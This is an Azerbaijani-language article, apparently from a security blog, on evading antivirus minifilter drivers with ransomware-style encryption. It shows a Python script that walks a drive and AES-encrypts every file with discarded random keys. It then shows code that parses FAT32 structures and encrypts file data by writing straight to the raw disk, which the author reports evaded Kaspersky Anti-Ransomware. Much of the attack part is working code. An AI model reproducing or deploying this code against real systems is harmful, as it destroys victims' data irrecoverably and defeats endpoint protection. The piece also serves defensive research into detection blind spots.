Günümüzün ən populyar zərərverici tiplərindən biri olan fidyə yazılımlarının əsas hədəflərdən biri antivirus və s. kimi proqram təminatlarından yayınaraq öz pis əməllərini icra etməkdir. Bunun üçün hər nə qədər yeni metodlar istifadə etsələrdə yaxşı ilə pisin oyununda qarşı tərəfdə yeni aşkarlama metodları işləyib hazırlayırlar.
Məqaləmizin əsas mövzusu antivirusların kor nöqtələrindən biri olar filter sürücüləridir. Yazıya başlamazdan öncə aşağıdakı 2 məqaləni oxumanızı tovsiyyə ediri.
Antiviruslar filter sürücülərinin köməkliyi ilə sistemdə baş verən müxtəlif aktivliklərdən xəbərdar olurlar. Bunlardan biridə ransomware-lərin əsas hədəflərindən hesab ediləcək kritik fayl formatlarına müraciətlərdir. Hər hansı bir proses (A) sistemdə dövr içərisində kritik hesab edil’n fayl sonluqları üzərində (.docx, .pdf, .doc, .txt, .jpg, .png) oxuma, yazma əməliyyatları icra edərsə antivirus davranış mühərriki üçün təhlükəli hesab edilə bilər. Belə olan halda zərərvericilərin bu davranış metodlarından yayınmaq üçün müxtəlif metodlardan istifadə edirlər. Lakin buna baxmayaraq başlanğıcda deyildiyi kimi kor nöqtələr hər zaman olur. Bunlardan biridə birbaşa disk əməliyyatlarıdır.
Bir proses hər hansı bir fayla məlumat yazmaq (və ya oxumaq) istəyərkən bu haqda sistem üzərindən ƏS-nin kernelinə sorğu göndərir. ƏS kerneli sorğunu lazım olan parametrlər ilə birlikdə qəbul edir və sözü gedən məlumatı disk-ə yazır (və ya oxuyur). Əlbətdə sözü gedən əməliyyat zənciri yazıldığı qədər sadə deyil. Kernel tərəfində bunun üçün olduqca kompleks əməliyyatlar icra edilir. Kernel sürücüləri disk-in təhlilindən tututun lazım olan offsetlərin tapılması və s. kimi olduqca kritik işləri öz üzərlərinə götürülər. İstifadəçilərə qalan hansı məlumatın hansı fayla yazılacağı haqqında sistemə sorğu göndərməsi olur. Aşağıdakı şəkil bu əməliyyat haqqında qısa məlumat verir.
Microsoft tərəfindən təqdim edilən minifilter sürücü interfeysi bu tipli əməliyyatları izləmək, onlara müdaxilə etmək üçün antiviruslara imkan yaradır. Sözü gedən sürücülər kernel tərəfində dayanaraq sorğuları izləyir və lazım bildikləri zaman onlara müdaxilə edə bilirlər. Lakin birbaşa diskə yazma əməliyyatlarını izləmək mümkün olmadığı üçün (minifilter sürücüləri üçün) qarşı tərəfin nə etdiyindən xəbərdar olmurlar. Əslində birbşa diskə yazma, oxuma əməliyyatlarını izləmək üçündə filter sürücüləri var lakin fayl adları və s. kimi məlumatları görülmədiyindən davranış mühərriki dolğun analiz apara bilmir.
Bu gün göstərəcəyimiz metod məhz minifilter sürücülərinin kor nöqtələrindən biri olan birbaşa diskə yazma əməliyyatları olacaqdır. Hədəf olaraq FAT32 fayl sistemi təyin edilib. Beləki hədəf disk (FAT32) içərisində yerləşən ransomware-lər üçün kritik hesab edilən faylları şifrələyərək (sistem api-larından istifadə etmədən – birbaşa xam şəkildə diskə müdaxilə edərək) antiviruslardan yayınmağa çalışacağıq.
Test üçün ilk olaraq FAT32 fayl sisteminə sahib virtual disk yaradacağıq (37 MB həcmində). Bunun üçün imdisk alətindən istifadə ediləcək. İlk olaraq virtual diskimizi yaradaraq içərisinə hədəf olaraq təyin etdiyimiz 15 ədəd kritik fayllarımızı yazırıq.
Hədəf fayllar içərisində (başlıq imzaları saxlanılaraq) 512 baytı keçməmək şərti ilə təsadufi məlumatlar saxlanılmışdır.
Test zamanı zərərverici əməliyyatı aşkarlanması gözlənilən antivirus proqram təminatı olaraq Kaspersky Anti-Ransomware aləti seçilmişdir. Not – Digər satıcılar ümumiyyətlə reaksiya vermədikləri üçün KART seçilmişdir.
İlk metod olaraq disk içərisində saxlanılan hədəf faylları (bir başa diskə müdaxilə etmədən – normal api üzərindən) şifrələyəcək kiçik bir python skripti-ni işə salırıq və xüsusi proqram təminatı ilə IRP (Interrupt Request Packet) diskə göndərilən sorğuları izləyirik.
Python skripti (generic.py):
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
import os
import time
def _e(filename):
key = get_random_bytes(16)
f = open(filename, 'r+b')
data = f.read()
f.seek(0)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data, 32))
f.write(ct_bytes)
f.close()
def main():
for root, d, files in os.walk("T:\\"):
for file in files:
f = os.path.join(root, file)
_e(f)
main()
Skriptimizi icra edilə bilən fayl formatına çevirərək (pyinstaller –onefile generic.py) işə salırıq.
KART dərhal xəbərdarlıq verir. Artıq generic.exe KART davranış mühərriki tərəfindən zərərveric olaraq aşkarlanmışdır. Sorğuları izləyən alətin loqlarına baxdığımız zaman generic.exe-nin bütün faylları şifrlədiyinin şahidi olduq. Şəkilin qısa olması üşün alt qismi kəsilmişdir.
Kaspersky zərərvericini aşkar etsədə disk içərisində saxlanılan hədəf fayllar şifrlənmişdi. 2-ci test zamanı şifrləmə əməliyyatı arasında hər fayı üçün 1 saniyəlik Sleep əmri veririk və testi təkrarlayırıq.
KART yenidən xəbərdarlıq verir və proses bloklanır. Lakin bu dəfə zərərverici proses bütün faylları şifrələyə bilmir. KART 3-cü hədəf fayldan sonra prosesi zərərverici olaraq təyin edir və prosesi sonlandırır.
Burada test üçün önəmli olan KART-ın reaksiya verib verməməsi idi. Gördüyünüz kimi istənilən halda KART skripti zərərverici olaraq aşkarladı.
Yayınma
KART-a məxsus minifilter sürücüsü, icra edilə bilən faylın (skriptin) nə etdiyini rahat şəkildə görə bildiyi üçün davranış mühərriki tərəfindən aşkar edildi.
Minifilter yayınmaq üçün istifadə edəcəyimiz birbaşa xam fayl sisteminə yazma əməliyyatı üçün ilk olaraq disk-i təhlil etmək lazımdır. Burada təhlil ediləcək FAT32 fayl sistemidir. FAT32 haqqında ətraflı məlumatı istinadlar bölməsindən ala bilərsiniz. Məqalədə buna yer verilməyəcəkdir.
Test üçün FAT32 boot sektorunu analiz edərək root qovluğunun olduğu klasteri keçəcəyik. Burada hədəf fayllar haqqında kritik informasiyalar saxlanılır.
Root qovluğu içərisində yerləşən kritik fayl informasiyalarını təhlil edərək faylların məlumatları, saxlanıldığı klasterdən oxuyub, şifrələyib geri yazacağıq.
Not – Aşağıda görəcəyiniz kodlar məqalə üçün hazırlanmışdır. Bir neçə root sectorun yaranmaması üçün faylların həcmi və sayı az tutulmuşdur (aşkarlama üçün heç bir problem yaratmır). FAT32 fayl sistemini tam təhlili nəzərdə tutulmamışdır.
Şifrələmə əməliyyatı üçün ilk olaraq FAT32 fayl sistemine məxsus boot sektorunu təhlil edərək fayl məlumatlarının saxlanıldığı root klasterinə keçid edirik.
def get_sector_of_cluster(self, N):
RootDirSectors = ((self.FAT32.BPB_RootEntCnt * 32) + (self.FAT32.BPB_BytsPerSec - 1)) // self.FAT32.BPB_BytsPerSec
FATSz = self.FAT32.BPB_FATSz32
# N = FAT32.BPB_RootClus
FirstDataSector = self.FAT32.BPB_RsvdSecCnt + (self.FAT32.BPB_NumFATs * FATSz) + RootDirSectors;
return (((N - 2) * self.FAT32.BPB_SecPerClus) + FirstDataSector) * self.FAT32.BPB_BytsPerSec
def encrypt_disk(self):
self.f.readinto(self.FAT32)
root_sec = self.get_sector_of_cluster(2)
self.f.seek(root_sec)
Daha sonra root klasteri içərisində saxlanılan fayl məlumatları arasından sözü gedən fayllara aid məlumatların (data) saxlanıldığı klasterləri oxuyaraq siyahı içərisində toplayırıq (məlumat ölçüsü ilə birlikdə).
for i in range(15):
dir_entry = DirEntry()
self.f.readinto(dir_entry)
filename = ''.join([chr(x) for x in dir_entry.DIR_Name])
extension = ''.join([chr(x) for x in dir_entry.DIR_Ext])
filesize = dir_entry.DIR_FileSize
data_sector = self.get_sector_of_cluster(dir_entry.DIR_FstClusLO)
self.fds.append([data_sector, filesize])
Təhlili doğru apardığımızı yoxlamaq üçün fayl məlumatlarını (Fayl adı, Fayl sonluğu, Fayl məlumat sektoru, Fayl məlumat ölçüsü) ekrana yazdırırıq.
Təhlilin doğruluğunu yoxladıqdan sonra keçirik şifrləmə prosesinə.
İlk olaraq diski bağladıqdan sonra siyahı içərisində olan sectorlara gedərək fayl məlumatlarını oxuyuruq. Son olaraq sözü gedən sektorlarda saxlanılan fayl məlumatlarını şifrələyərək geri yazırıq.
def enc_data(self, data):
BLOCK_SIZE = 32
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data, BLOCK_SIZE))
sector_pad = 512 - len(ct_bytes)
ct_bytes = ct_bytes + (b'\x00' * sector_pad)
return ct_bytes
def _e(self):
for sector, filesize in self.fds:
self.f.seek(sector)
data = self.f.read(filesize)
encrypted_data = self.enc_data(data)
self.f.seek(sector)
self.f.write(encrypted_data)
self.f.flush()
Şifrələmədən öncə 2.txt faylının kontenti:
Şifrələmədən sonra:
Son olaraq isə IRP sorğularına baxaq:
Bu hissə antivirusların kor nöqtəsi olaraq adlandırdığımız hissədir. Yuxarıdakı şəkiləər ilə qarşılaşdırsanız generic.exe tərəfindən fayl kontentinə müdaxilə zamanı IRP sorğularında fayl adı görünürdü. Bir başa xam fayl sisteminə müdaxilə edərkən isə fayl adları görsənmədi və antivirusdan yayına bildik.
İstinadlar
[1] https://averstak.tripod.com/fatdox/bootsec.htm
[2] https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts
[3] https://www.cs.fsu.edu/~cop4610t/lectures/project3/Week11/Slides_week11.pdf